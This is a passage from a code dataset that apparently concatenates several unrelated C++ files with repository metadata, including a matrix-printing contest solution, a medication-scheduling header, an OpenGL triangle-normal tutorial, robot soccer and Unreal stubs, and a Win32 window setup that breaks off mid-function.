| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,081
|
cpp
|
#include<bits/stdc++.h>
#define ll long long
using namespace std;
long long arr[1000007];
long long cs[1000007];
long long ps[1000007];
int main()
{
int t;
cin>>t;
while(t--)
{
int n;
cin>>n;
if(n%2)
{
for(int i=1; i<=n; i++)
{
for(int j=1; j<=n; j++)
{
if((i==(n+1)/2 && j==1) || (j==(n+1)/2 && i==1))
cout<<1<<" ";
else if(i==j || j==(n+1-i))
cout<<1<<" ";
else
cout<<0<<" ";
}
cout<<endl;
}
}
else
{
for(int i=1; i<=n; i++)
{
for(int j=1; j<=n; j++)
{
if(i==j || j==(n+1-i))
cout<<1<<" ";
else
cout<<0<<" ";
}
cout<<endl;
}
}
}
return 0;
}
|
[
"soha97368@gmail.com"
] |
soha97368@gmail.com
|
30e5b583c4230577e97d3ad2913b7e8e0e1f99ec
|
942bc7a374ced8f96a139feac1a01148cc4e60d7
|
/include/nsbb/nsmediccycle.h
|
caf434fbe9385455882bd613f98b2f754cdb08c9
|
[] |
no_license
|
p-ameline/Episodus
|
915b0dfa324a0b9374b887f0fc9fd74a599b9ae3
|
8bba0a26e267cff40a7669c6ae47647c68a30834
|
refs/heads/master
| 2022-04-07T12:39:09.224028
| 2020-03-06T09:20:03
| 2020-03-06T09:20:03
| 119,287,108
| 1
| 3
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 14,470
|
h
|
// -----------------------------------------------------------------------------
// nsmediccycle.h
// -----------------------------------------------------------------------------
// $Revision: 1.3 $
// $Author: pameline $
// $Date: 2013/11/25 16:04:30 $
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
// FLP - novembre 2003
// -----------------------------------------------------------------------------
#ifndef __NSMEDICCYCLE_H__
# define __NSMEDICCYCLE_H__
# include "nsbb\nsExport.h"
# include "nsbb\nspatpat.h"
# include "nsbb\nsmediccontrols.h"
class NSPosologieBlock ;
class NSMedicDlg ;
bool _NSBBCLASSE isValidValue(string* psValue) ;
void _NSBBCLASSE createNodeComplement(NSPatPathoArray *pPPT, string sCode, string sUnit, string sVal, int iColonne) ;
void _NSBBCLASSE createNodeComplement(NSPatPathoArray *pPPT, string sCode, string sUnit, float fVal, int iColonne) ;
void _NSBBCLASSE createNodeComplement(NSPatPathoArray *pPPT, string sCode, string sUnit, int iVal, int iColonne) ;
std::string _NSBBCLASSE getValNodeComplement(NSPatPathoArray *pPPT, PatPathoIter *pptIter, int iColonneBase, string sCode, string sUnit) ;
void _NSBBCLASSE func_create_patho_quant(std::string sroot, std::string quant, NSPatPathoArray* pat, int col) ;
/*
** Fonction qui crée un rythme regulier
*/
NSPatPathoArray* CreateRegularRythme(std::string dure_cure, std::string symcure, std::string duree_cycle, std::string SymCycle, NSContexte* cont);
/*
** Cree un label affichable
*/
std::string CreateLabelForHour(std::string quant, std::string heure);
class NSMedicCycleGlobal;
/*
** Type de rythme prescrit
*/
enum RythmeType
{
DayRythm, // rythme par jour de la semaine
Day1Day2Day3, // rythme jour 1, jour 2, jour 3
RegularRythm, // rythme regulier
FreeRythm, // rythme libre
RythmSimple
};
class RythmeBase
{
protected:
NSMedicCycleGlobal* _parent ;
public:
RythmeBase(NSMedicCycleGlobal* temp) : _parent(temp) {}
virtual void Load() = 0 ;
virtual void save() = 0 ;
virtual bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) = 0 ; // Charge la pate patho
virtual NSPatPathoArray* SimplifiedTreeForInterpretation() = 0 ; // cree l'arbre correspondant au rythme
virtual std::string IsValid() = 0 ; // test si un cycle est complet
virtual bool Equal(RythmeBase& temp) = 0 ;
};
class RythmeSimple : public RythmeBase
{
protected:
int _SelectedIndex ; // Index selection er dans la combo
public:
RythmeSimple(NSMedicCycleGlobal* temp) : RythmeBase(temp) {_SelectedIndex = 0; }
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) { return false ; }
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ; // cree l'arbre correspondant au rythme
std::string IsValid() ;
bool Equal(RythmeBase& temp) ;
};
class RythmeRegulier : public RythmeBase
{
friend class RythmeRegulier ;
protected:
std::string _dureeCure ; // Edit
std::string _symDureeCure ; // Combo
std::string _dureeCycle ;
std::string _SymDureeCycle ;
public:
RythmeRegulier(NSMedicCycleGlobal* temp) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ; // cree l'arbre correspondant au rythme
std::string IsValid() ;
bool Equal(RythmeBase& temp) ;
};
class RythmeFree : public RythmeBase
{
protected:
std::string _pDureeCureF ;
std::string _psymDureeCureF ;
std::string _pDureeCureFTime ;
std::string _pDureeCycleFreqF ;
std::string _psymDureeCycleFreqF ;
public:
RythmeFree(NSMedicCycleGlobal* temp) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ; // cree l'arbre correspondant au rythme
std::string IsValid() ;
bool Equal(RythmeBase& temp) ;
};
class DayRythme : public RythmeBase
{
public:
DayRythme(NSMedicCycleGlobal* temp) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ; // cree l'arbre correspondant au rythme
std::string IsValid() ;
bool Equal(RythmeBase& temp) ;
protected:
bool _week[7] ;
};
class Day1Day2Day3Rythme : public RythmeBase
{
public:
Day1Day2Day3Rythme(NSMedicCycleGlobal* temp) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ; // cree l'arbre correspondant au rythme
std::string IsValid() ;
bool Equal(RythmeBase& temp) ;
int getIndice() { return iIndice ; }
bool getIsVoid() { return bVoid ; }
protected:
bool bVoid ;
int iIndice ;
};
class NSRythme
{
protected:
NSMedicCycleGlobal* _parent ;
RythmeType _type ;
RythmeBase* _data ; // Information sur les different type
public:
NSRythme(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ; // Reinitialise la fenetre
NSPosologieBlock* GetWindow() ;
void Load(bool test_if_simple) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* SimplifiedTreeForInterpretation() ;
std::string Decode() ; // Transforme les informations en langage naturelle
inline RythmeType Type() { return _type ; } // Retourne le type de rythme
bool IsEqual(NSRythme& Rythme) ;
std::string IsValid() { return _data->IsValid() ; }
void load_cyle_func(bool cycle, int index) ; // Tools function
RythmeBase* getData() { return _data ; }
};
class BaseCirc
{
protected:
NSMedicCycleGlobal* _parent ;
public:
BaseCirc(NSMedicCycleGlobal* parent) : _parent(parent) {}
virtual void Load() = 0 ;
virtual void save() = 0 ;
virtual bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) = 0 ;
virtual NSPatPathoArray* CreateTree() = 0 ;
virtual std::string IsValid() = 0 ;
};
class CircBasePeriode : public BaseCirc
{
protected:
std::string _reveil ;
std::string _matin ;
std::string _midi ;
std::string _gouter ;
std::string _soir ;
std::string _coucher ;
std::string _nuit ;
public:
CircBasePeriode(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
};
class CircBaseMMS : public BaseCirc
{
protected:
std::string _matin ;
std::string _midi ;
std::string _soir ;
std::string _coucher ;
public:
CircBaseMMS(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
std::string getMatin() { return _matin ; }
std::string getMidi() { return _midi ; }
std::string getSoir() { return _soir ; }
std::string getCoucher() { return _coucher ; }
};
class CircBaseHeures : public BaseCirc
{
protected:
std::vector<PriseHeure* >* _prises ;
public:
CircBaseHeures(NSMedicCycleGlobal* parent) ;
~CircBaseHeures() ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
};
class _NSBBCLASSE CircBaseRegular : public BaseCirc
{
protected:
std::string _quantity ; // on le met en string car on peut avoir 1 / 2
std::string _freq ;
std::string _codeFreq ;
public:
CircBaseRegular(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
bool ParseTree(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
double getTakeCountPerDay(NSContexte *pContexte) ;
std::string getQuantity() { return _quantity ; }
std::string getFrequency() { return _freq ; }
std::string getFreqUnit() { return _codeFreq ; }
};
class _NSBBCLASSE CircBaseFree : public BaseCirc
{
protected:
std::string _quantity ;
std::string _fois ;
std::string _frequence ;
std::string _codeFreq ;
public:
CircBaseFree(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
bool ParseTree(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
double getTakeCountPerDay(NSContexte *pContexte) ;
std::string getQuantity() { return _quantity ; }
std::string getCount() { return _fois ; }
std::string getFrequency() { return _frequence ; }
std::string getFreqUnit() { return _codeFreq ; }
};
class CircUnique : public BaseCirc
{
protected:
std::string _quantity ;
public:
CircUnique(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
};
class CircBaseText : public BaseCirc
{
protected:
std::string _text ;
public:
CircBaseText(NSMedicCycleGlobal* parent) ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void Load() ;
void save() ;
NSPatPathoArray* CreateTree() ;
std::string IsValid() ;
};
/*
** Type de cyce cyrcadien prescrit
*/
enum CircadienCycle
{
UndefinedCircadien,
RegularCircadien, // Rythme journalier regulier
FreeCircadien, // Rythme regulier libre
HourCircadien, // Rythme par heure
MMS, // Matin Midi Soir
Period, // Par periode
FreeTxt, // Texte Libre
PriseUnique // Prise unique
};
class _NSBBCLASSE NSCircadien
{
protected:
NSMedicCycleGlobal* _parent ;
BaseCirc* _CircadienData ;
CircadienCycle _Type ; // Type de cycle
static long lObjectCount ;
public:
NSCircadien(NSMedicCycleGlobal* parent) ;
NSCircadien(const NSCircadien& rv) ;
~NSCircadien() ;
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
NSPosologieBlock* GetWindow() ;
NSPatPathoArray* CreateTree() ;
bool RecupereCycleGlob(PatPathoIter& pptIter, PatPathoIter& pptend, int Col) ; // Recupere le cycle global
CircadienCycle FindWichPanelToOpen(PatPathoIter& pptIter, PatPathoIter& pptend, int Col) ;
void Load() ;
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ;
void save() ;
std::string IsValid() { return _CircadienData->IsValid() ; }
CircadienCycle getType() { return _Type ; }
BaseCirc* getData() { return _CircadienData ; }
NSCircadien& operator=(const NSCircadien& src) ;
static long getNbInstance() { return lObjectCount ; }
static void initNbInstance() { lObjectCount = 0 ; }
};
class NSphaseMedic ;
/*
** Un NSMedicCycleGlobal est un cycle circadien avec un rythme
*/
class _NSBBCLASSE NSMedicCycleGlobal : public NSRoot
{
protected:
NSphaseMedic *_parentPhase ;
NSPosologieBlock *_pControlsBlock ;
NSCircadien _cycleCircadien ; // Cycle circadien
NSRythme _cycleRythme ; // Rythme
static long lObjectCount ;
public:
NSMedicCycleGlobal(NSContexte* pCtx, NSphaseMedic* parentPhase) ;
NSMedicCycleGlobal(NSContexte* pCtx, NSPosologieBlock* pCtrlsBlock) ;
NSMedicCycleGlobal(const NSMedicCycleGlobal& rv) ;
~NSMedicCycleGlobal() ;
NSCircadien* GetCycleCircadien() { return &_cycleCircadien ; } // Retourne le cycle circadien
NSRythme* GetRythme() { return &_cycleRythme ; } // Retourn le rythme
NSPatPathoArray* CreateTree() ; // Cree l'arbre
NSPosologieBlock* GetWindow() ; // Retourne la fenetre des médicaments
void save() ; // Charge un arbre
void Load(bool test_if_simple) ; // Charge la fenetre avec les donnée
bool Load(PatPathoIter& pptIter, PatPathoIter& pptend) ; // Charge un NSMEdicCycle depuis une pathpatho
static void ReinitDialog(NSPosologieBlock* pPosoBlock) ;
NSMedicCycleGlobal& operator=(const NSMedicCycleGlobal& src) ;
std::string IsValid() ;
// NSContexte* getContext() ;
static long getNbInstance() { return lObjectCount ; }
static void initNbInstance() { lObjectCount = 0 ; }
};
#endif // __NSMEDICCYCLE_H__
|
[
"philippe.ameline@free.fr"
] |
philippe.ameline@free.fr
|
8c6b8357043fad271604da201c8ae102e414111d
|
604e75c883533dc4af34782bae7bb3487a31dad9
|
/Normals/Main.cpp
|
881cead37276997f537dd366c90e129ca80e8698
|
[] |
no_license
|
willis7/OpenGL-SDL
|
930370ec1ce5b5a374dc0b3d50143bffd76fef49
|
82c24673870e0a627e741a8bcf6cc4fce01ba6dc
|
refs/heads/master
| 2016-09-10T21:34:18.625172
| 2014-04-17T08:48:07
| 2014-04-17T08:48:07
| 18,872,238
| 20
| 10
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 13,241
|
cpp
|
//***********************************************************************//
// //
// - "Talk to me like I'm a 3 year old!" Programming Lessons - //
// //
// $Author: DigiBen DigiBen@GameTutorials.com //
// //
// $Program: Normals //
// //
// $Description: This shows how to find the normal of a polygon. //
// //
// $Date: 7/8/01 //
// //
//***********************************************************************//
#include "main.h" // This includes our header file
/////// * /////////// * /////////// * NEW * /////// * /////////// * /////////// *
// This part below is important. We create an array of 3 CVector3's.
// We could have called it CPoint3 or CVertex3, but let's call it it CVector3.
// A CVector3 is a class that has 3 floats, x, y, and z. We will need a class
// to hold 3D points from now on. We chose to use a class instead of a structure
// because later we will add to this class and make it a robust vector class, but
// for now we just want 3 floats. We will store our triangle points in this array below.
// We put a 'v' in front of 'Triangle' to show that it is of type CVector3.
// Notice that we initialize the triangle with the left point first, then right, then the top.
// This is important. We need to stick to this order. This is important. I would recommend
// doing it this way, which is counter-clockwise (considering we are looking at (0, 0, 0) down
// the negative Z axis. This will make sure that our normals are consistent. When backface
// culling, the default order is counter-clockwise. This was just picked as a standard.
// You can change this in OpenGL if you want though. Check our glFrontFace() and glCullFace()
// in MSDN for more information on back face culling and how to use it.
// I labeled the points below with an '*' to give you more of a visual understanding of the poly.
// *
// * *
// Left Point // Right Point // Top point
CVector3 vTriangle[3] = { {-1, 0, 0}, {1, 0, 0}, {0, 1, 0} };
/////// * /////////// * /////////// * NEW * /////// * /////////// * /////////// *
///////////////////////////////// INIT GAME WINDOW \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*
/////
///// This function initializes the game window.
/////
///////////////////////////////// INIT GAME WINDOW \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*
void Init()
{
InitializeGL(SCREEN_WIDTH, SCREEN_HEIGHT); // Init OpenGL with the global rect
// Enable Key Repeat
if( SDL_EnableKeyRepeat(100,SDL_DEFAULT_REPEAT_INTERVAL) )
{
cerr << "Failed enabling key repeat" << endl;
Quit(1);
}
}
//////////////////////////////// MAIN GAME LOOP \\\\\\\\\\\\\\\\\\\\\\\\\\\\*
////////
//////// This function handles the main game loop
////////
//////////////////////////////// MAIN GAME LOOP \\\\\\\\\\\\\\\\\\\\\\\\\\\\*
void MainLoop(void)
{
bool done = false; // is our job done ? not yet !
SDL_Event event;
while(! done) // as long as our job's not done
{
while( SDL_PollEvent(& event) ) // look for events (like keystrokes, resizing etc.)
{
switch ( event.type ) // what kind of event have we got ?
{
case SDL_QUIT : // if user wishes to quit
done = true; // this implies our job is done
break;
case SDL_KEYDOWN : // if the user has pressed a key
HandleKeyPressEvent( & event. key.keysym ); // callback for handling keystrokes, arg is key pressed
break;
case SDL_VIDEORESIZE : // if there is a resize event
// request SDL to resize the window to the size and depth etc. that we specify
MainWindow = SDL_SetVideoMode( event.resize.w, event.resize.h, SCREEN_DEPTH, VideoFlags );
SizeOpenGLScreen(event.resize.w, event.resize.h); // now resize the OpenGL viewport
if(MainWindow == NULL) // if window resize has failed
{
cerr << " Failed resizing SDL window : " << SDL_GetError() << endl; // report error
Quit(0);
}
break;
default: // any other event
break; // nothing to do
} // switch
} // while( SDL_ ...
RenderScene(); // draw our OpenGL scene
} // while( ! done)
}
/////// * /////////// * /////////// * NEW * /////// * /////////// * /////////// *
///////////////////////////////// RENDER SCENE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*
/////
///// This function renders the entire scene.
/////
///////////////////////////////// RENDER SCENE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*
void RenderScene()
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // Clear The Screen And The Depth Buffer
glLoadIdentity(); // Reset The matrix
// We changed the position of the camera so we could better see the normal at an angle.
// This positions the camera off to the left a bit and in front of the triangle.
// We move our view up a bit so fully see the triangle instead looking down
// Position View Up Vector
gluLookAt(-2.5f, 0, -0.5f, 0, 0.5f, 0, 0, 1, 0); // This determines where the camera's position and view is
// Below we draw the triangle like normal, except we pass in our vTriangle structure.
// This is so we can move the triangle around and now just have it constant.
// As we move the triangle around, the "normal" will follow it perfectly.
glBegin (GL_TRIANGLES); // This is our BEGIN to draw
glColor3ub(255, 0, 0); // Make the Left vertex RED
glVertex3f(vTriangle[0].x, vTriangle[0].y, vTriangle[0].z);
glColor3ub(0, 255, 0); // Make the Right vertex GREEN
glVertex3f(vTriangle[1].x, vTriangle[1].y, vTriangle[1].z);
glColor3ub(0, 0, 255); // Make the Top vertex BLUE
glVertex3f(vTriangle[2].x, vTriangle[2].y, vTriangle[2].z);
glEnd(); // This is the END of drawing
// Now that we displayed the triangle, let's display a line coming from the
// triangle to show you visually what the normal looks like. Remember, the
// normal does NOT have a position, just a direction, but just to help us visualize it,
// we will draw the normal coming from the middle of the triangle.
// Get the normal of our triangle by passing in our array or points.
CVector3 vNormal = Normal(vTriangle);
// Now, just for show, let's find the center of the triangle.
// We know that the middle X is zero, so we don't need to calculate the X value.
CVector3 vCenter = {0};
// To get the Y value, we just divide the top point's Y value by 2, since we start at 0.
// Do the same thing for the Z value, just divide the Z value of the top point by 2
// because we start out at 0 on the Z axis, so only the top of the triangle will be moving.
// If we weren't so conveniently positioned we would have to do something more modular.
// To find the center of an object you just add up all the X Y and Z values singularly,
// then divide each one by the number of vertices, and that gives you the center.
// IE, after you get the total: total.x /= totalVertices; total.y /= totalVertices; total.z /= totalVertices;
// I decided not to make another function for this for simplicity reasons, but you should :)
vCenter.y = vTriangle[2].y / 2; // Get the Y value for the center of the triangle
vCenter.z = vTriangle[2].z / 2; // Get the Z value for the center of the triangle.
// Now let's draw the line coming from the center of our triangle.
// The first point will be the center point of the triangle that we just calculated.
// The next point will be the center point + the normal of the triangle.
glBegin (GL_LINES); // This is our BEGIN to draw
glColor3ub(255, 255, 0); // Make the normal line YELLOW
glVertex3f(vCenter.x, vCenter.y, vCenter.z); // Let's draw the normal centered on the triangle
// Draw the normal of the polygon from the center of the polygon to better see it
glVertex3f(vCenter.x + vNormal.x, vCenter.y + vNormal.y, vCenter.z + vNormal.z);
glEnd(); // This is the END of drawing
// That's it, now use the LEFT and RIGHT arrow keys to move it around to further see it in action.
SDL_GL_SwapBuffers(); // Swap the backbuffers to the foreground
}
/////// * /////////// * /////////// * NEW * /////// * /////////// * /////////// *
/////////////////////////////////////////////////////////////////////////////////
//
// * QUICK NOTES *
//
// We didn't do much code in this file, but we added all our math code to 3DMath.cpp.
// This will come in handy because you can just add the .cpp and .h file to the rest
// of your projects. You will use this and a lot more math almost every app you do.
// At least, any app that actually DOES something besides test OpenGL API's. If you
// plan to do any lighting or collision you will definitely need this stuff.
//
// If you run this tutorial you can use the LEFT and RIGHT arrow keys to move around
// the top of the triangle so you can see how the normal will follow the triangle.
// If you still don't understand what a normal is used for, go to the next tutorial
// on collision, and it will make more sense. Also, look over the lighting tutorial.
//
// Here is what is repeated in 3DMath.cpp:
//
// Basically, let me explain the steps again to finding the normal of a polygon.
//
// 1) First, if you have 3 points of a polygon, you can find a normal to that plane.
// The first step you need to do is get 2 vectors from that polygon. That means
// that you need to pick to sides of the triangle (order is important) and subtract
// the points from each other to get the vector of that side. When it comes to triangles,
// I usually get the first vector from Point3 - Point1. (V1 = P3 - P1)
// Next, I choose Vector 2 from Point2 and Point1 (V2 = P2 - P1).
//
// 2) Now that we have 2 vectors: V1 and V2, we can take the cross product of those
// 2 vectors, with vector1 cross vector2. Remember, the order is important.
// I always go counter-clockwise. Pick and stick! This is important because it decides the
// direction of the normal. It doesn't matter which direction, as long as you do the same
// thing for all the rest of your polygons. You don't want mixed up normal directions.
//
// 3) Now we should have the normal (Or direction) from the cross product of our polygon.
// This normal has a strange length, so let's make the length (or distance from the origin) 1.
// To do this, we take the magnitude (Deals with the length of the vector) of the normal.
// With the magnitude, we divide the normal BY that magnitude. That means the X, Y and Z values
// get divided by the magnitude scalar. A scalar is a single number like 1, 1.232, etc...
//
// That's it! Three basic steps to finding the normal. It is nice not to have to worry about
// all that once you have a function that does it all for you. We call ours "Normal()". It
// won't matter it we have a polygon of 20 vertices, all we need is just 3 points (the first 3)
// from that polygon. That is enough to define a plane. Then we find the normal to that plane.
//
//
// I hope this help! Let us know at www.GameTutorials.com if this helped you at all.
//
// Good luck, and get ready for the collision tutorial next!
//
//
// Ben Humphrey (DigiBen)
// Game Programmer
// DigiBen@GameTutorials.com
// Co-Web Host of www.GameTutorials.com
//
//
|
[
"sion5@hotmail.co.uk"
] |
sion5@hotmail.co.uk
|
2060623dfea4c00ba98181ca21d62686e73b4ad8
|
1e395205d1c315c269a44c2e465831f862b2a491
|
/src/nimbro/behaviour/walk_and_kick/include/walk_and_kick/game_states/game_gaze_for_ball.h
|
9138e5916ab568ab05d2e1807f9a24545ebd45f0
|
[] |
permissive
|
anh0001/EROS
|
01c46f88cc91ef0677b482124b2974790143e723
|
a5fae8bf9612cd13fbbcfc0838685430a6fe8fa4
|
refs/heads/master
| 2021-08-28T00:07:13.261399
| 2021-08-20T08:56:12
| 2021-08-20T08:56:12
| 195,176,022
| 0
| 2
|
MIT
| 2021-08-20T08:52:12
| 2019-07-04T05:44:14
| null |
UTF-8
|
C++
| false
| false
| 825
|
h
|
// Walk and kick game state: Gaze for ball
// Author: Philipp Allgeuer <pallgeuer@ais.uni-bonn.de>
// Ensure header is only included once
#ifndef GAME_GAZE_FOR_BALL_H
#define GAME_GAZE_FOR_BALL_H
// Includes
#include <walk_and_kick/wak_game_state.h>
// Walk and kick namespace
namespace walk_and_kick
{
/**
* @class GameGazeForBall
*
* @brief A walk and kick game state that makes the robot look for the ball by gaze only.
**/
class GameGazeForBall : public WAKGameState
{
public:
// Constructor
GameGazeForBall(WAKConfig& config, const SensorVars& SV, const WAKGameShared& WGS, int ID);
// Execute function
virtual void execute(GameVars& GV, const GameVars& lastGV, bool justActivated);
protected:
// Handle activation function
virtual void handleActivation(bool nowActive);
};
}
#endif
// EOF
|
[
"anhrisn@gmail.com"
] |
anhrisn@gmail.com
|
2966c0623e0f26a043126b6fc3e4028740d52f11
|
284b8c7ffbe0cc0657671aed2f255e040a0e2195
|
/tests/offload/hakase.cc
|
616f5d945bcb87c56038e4d7aa190ad96692c0c8
|
[] |
no_license
|
TakedaHiromasa/Toshokan
|
109d4625f0dace757145ac537ec6dd916abc5b13
|
9c3b8ed9189e2ea2214266f22e878a9c828705f3
|
refs/heads/master
| 2020-06-20T18:33:20.845665
| 2019-07-12T11:57:41
| 2019-07-12T11:57:41
| 196,931,513
| 0
| 0
| null | 2019-07-15T05:42:15
| 2019-07-15T05:42:15
| null |
UTF-8
|
C++
| false
| false
| 419
|
cc
|
#include <toshokan/hakase/hakase.h>
#include "shared.h"
int state;
int func(int i, int j) {
state = i - j;
return 100;
}
EXPORT_SYMBOL(func);
int test_main() {
int r;
r = setup();
if (r != 0) {
return r;
}
state = 0;
boot(1);
while (!is_friend_stopped()) {
offloader_tryreceive();
asm volatile("pause" ::: "memory");
}
return (state == 1) && (SHARED_SYMBOL(sync_flag) == 1);
}
|
[
"sap.pcmail@gmail.com"
] |
sap.pcmail@gmail.com
|
3e983352e80604efffc978b5693b390374411972
|
9fd6b9b0e1e08b38f9e546cc234d99a504ae35d8
|
/Source/GAME3003__AmiriRamin/GAME3003__AmiriRamin.cpp
|
bb6501afd083c9f213f239feab3ce3fb06b5592b
|
[] |
no_license
|
suibun-code/GAME3112
|
fc8242e42b3dec7152582eba870d537c2ca8a389
|
4578ce33014b30f4c7677e6bf1fe10a6f8465283
|
refs/heads/master
| 2023-02-28T00:19:28.496265
| 2021-02-01T18:24:24
| 2021-02-01T18:24:24
| 335,044,476
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 226
|
cpp
|
// Copyright Epic Games, Inc. All Rights Reserved.
#include "GAME3003__AmiriRamin.h"
#include "Modules/ModuleManager.h"
IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, GAME3003__AmiriRamin, "GAME3003__AmiriRamin" );
|
[
"zeuspsn.55555@gmail.com"
] |
zeuspsn.55555@gmail.com
|
70f3e8b6bc1bf33b4673090bd2c716a1dc3d7ef4
|
085fc57a050c64f8ff147e5825d384a4a8b9b86d
|
/GraphicCW/nclgl/Window.cpp
|
89590f8e34861331f2170d1595c60a6bf0ad28c5
|
[] |
no_license
|
Aaroncc1989/FluidSim
|
aa7a0ba46a0da85c48639322eea0c3b2bf6b0aa0
|
25da5f221e183305900d42a2aa8a63727c720d29
|
refs/heads/master
| 2021-09-25T06:54:41.127522
| 2015-09-11T21:59:51
| 2015-09-11T21:59:51
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,290
|
cpp
|
#include "Window.h"
#include "Mouse.h"
#include "Keyboard.h"
Window* Window::window;
Keyboard*Window::keyboard = NULL;
Mouse*Window::mouse = NULL;
//GameTimer*Window::timer = NULL;
Window::Window(std::string title, int sizeX, int sizeY, bool fullScreen) {
renderer = NULL;
window = this;
forceQuit = false;
init = false;
mouseLeftWindow = false;
lockMouse = false;
showMouse = true;
this->fullScreen = fullScreen;
size.x = (float)sizeX; size.y = (float)sizeY;
fullScreen ? position.x = 0.0f : position.x = 100.0f;
fullScreen ? position.y = 0.0f : position.y = 50.f;
HINSTANCE hInstance = GetModuleHandle( NULL );
//This creates the console window
AllocConsole();
int consoleHandle;
long stdHandle;
FILE *file;
// redirect stdout
stdHandle = (long)GetStdHandle(STD_OUTPUT_HANDLE);
consoleHandle = _open_osfhandle(stdHandle, _O_TEXT);
file = _fdopen( consoleHandle, "w" );
*stdout = *file;
setvbuf( stdout, NULL, _IONBF, 0 );
// redirect stdin
stdHandle = (long)GetStdHandle(STD_INPUT_HANDLE);
file = _fdopen( consoleHandle, "r" );
*stdin = *file;
setvbuf( stdin, NULL, _IONBF, 0 );
//
WNDCLASSEX windowClass;
ZeroMemory(&windowClass, sizeof(WNDCLASSEX));
if(!GetClassInfoEx(hInstance,WINDOWCLASS,&windowClass)) {
windowClass.cbSize = sizeof(WNDCLASSEX);
windowClass.style = CS_HREDRAW | CS_VREDRAW;
windowClass.lpfnWndProc = (WNDPROC)WindowProc;
windowClass.hInstance = hInstance;
windowClass.hCursor = LoadCursor(NULL, IDC_ARROW);
windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
windowClass.lpszClassName = WINDOWCLASS;
if(!RegisterClassEx(&windowClass)) {
std::cout << "Window::Window(): Failed to register class!" << std::endl;
return;
}
}
if(fullScreen) {
DEVMODE dmScreenSettings; // Device Mode
memset(&dmScreenSettings,0,sizeof(dmScreenSettings)); // Makes Sure Memory's Cleared
dmScreenSettings.dmSize=sizeof(dmScreenSettings); // Size Of The Devmode Structure
dmScreenSettings.dmPelsWidth = sizeX; // Selected Screen Width
dmScreenSettings.dmPelsHeight = sizeY; // Selected Screen Height
dmScreenSettings.dmBitsPerPel = 32; // Selected Bits Per Pixel
dmScreenSettings.dmDisplayFrequency = 60;
dmScreenSettings.dmFields=DM_BITSPERPEL|DM_PELSWIDTH|DM_PELSHEIGHT|DM_DISPLAYFREQUENCY;
if(ChangeDisplaySettings(&dmScreenSettings,CDS_FULLSCREEN)!=DISP_CHANGE_SUCCESSFUL) {
std::cout << "Window::Window(): Failed to switch to fullscreen!" << std::endl;
return;
}
}
windowHandle = CreateWindowEx(fullScreen ? WS_EX_TOPMOST : NULL,
WINDOWCLASS, // name of the window class
title.c_str(), // title of the window
fullScreen ? WS_POPUP|WS_VISIBLE : WS_OVERLAPPEDWINDOW|WS_POPUP|WS_VISIBLE|WS_SYSMENU|WS_MAXIMIZEBOX|WS_MINIMIZEBOX, // window style
(int)position.x, // x-position of the window
